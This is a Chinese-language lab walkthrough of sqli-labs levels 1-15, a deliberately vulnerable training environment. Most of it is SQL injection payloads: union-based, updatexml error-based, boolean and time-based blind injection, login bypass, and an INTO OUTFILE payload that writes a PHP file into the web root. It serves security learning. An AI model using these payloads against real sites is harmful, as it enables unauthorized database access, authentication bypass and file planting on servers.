Sqli-labs 1-15

Less-1 基于单引号的字符型注入

注入语句:

id=1' and 1=1 -- a

1、判断注入点:

Sqli-labs 1-15_第1张图片

2、把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ’ 字符注入

Sqli-labs 1-15_第2张图片

3、确定注入字符后,判断有多少列, 超出列数会报错

id=1' order by 4 -- -

Sqli-labs 1-15_第3张图片

4、判断数据显示点 (id一定要改为不存在的数)

id=520' union select 1,database(),3 -- -

Sqli-labs 1-15_第4张图片

5、然后便可在注入字符后加入前面的sql注入基本语句报出数据库信息了

less-2——正型注入

这题和上面的用法差不多不细讲,只是不是没有单引号
注入语句:

id=1 and 1=1 -- -

Sqli-labs 1-15_第5张图片

less-3——基于’)的字符型注入

注入语句:

id=1') and 1=1 -- -

Sqli-labs 1-15_第6张图片
后面操作同上

less-4——基于")字符型注入

注入语句:

id=1") and 1=1 -- -­

Sqli-labs 1-15_第7张图片
后面操作同上

less-5——基于’字符型的错误回显注入

注入语句:

1' union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -

Sqli-labs 1-15_第8张图片

less-6——基于"字符型的错误回显注入

注入语句:

id=1" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -

Sqli-labs 1-15_第9张图片

less-7——文件读写注入

注入语句:

-1')) union select 1,2,'<?php phpinfo();?>' into outfile '/var/www/html/Less-7/test.php' -- -

Sqli-labs 1-15_第10张图片

访问自己写的文件:

Sqli-labs 1-15_第11张图片

less-8——基于’的布尔盲注

注入语句:

通过length()判断数据库的长度

id=1' and (length(database())=8) --+

Sqli-labs 1-15_第12张图片

接下来通过ascii一个一个猜

?id=1and (ascii(substr(database(),1,1))=115) --+

Sqli-labs 1-15_第13张图片
也可以写脚本得到数据库名

less-9——基于’的时间盲注

注入语句:

1' and if(length(database())>3 ,sleep(5),1) -- -

因为你不知道数据库名是几个字母,所以先让数字大于3进行判断,然后依次增加
Sqli-labs 1-15_第14张图片

如果sleep函数不起作用了,说明数据库名可能等于这个数。这时你就能判断它的数据库名长度啦

Sqli-labs 1-15_第15张图片

Sqli-labs 1-15_第16张图片

less-10——基于"的时间盲注

注入语句:

id=1" and if(length(database())>7 ,sleep(5),1) -- -

Sqli-labs 1-15_第17张图片

Sqli-labs 1-15_第18张图片

方法与第九关相同,将单引号改成双引号即可。

less-11——基于’的POST型注入

注入语句:

admin' and 1=1 -- -

直接用万能密码登陆:

Sqli-labs 1-15_第19张图片

less-12——基于")的POST型注入

注入语句:

admin") and 1=1 -- -

直接用万能密码登陆:

Sqli-labs 1-15_第20张图片

less-13——基于’)的错误回显注入

注入语句:

admin') union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -

Sqli-labs 1-15_第21张图片

less-14——基于"的错误回显注入

注入语句:

admin" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -

这里是双引号:

Sqli-labs 1-15_第22张图片

less-15——基于’布尔的盲注

注入语句:

admin' and (length(database())=8) -- -

Sqli-labs 1-15_第23张图片
得到数据库长度

你可能感兴趣的:(安全)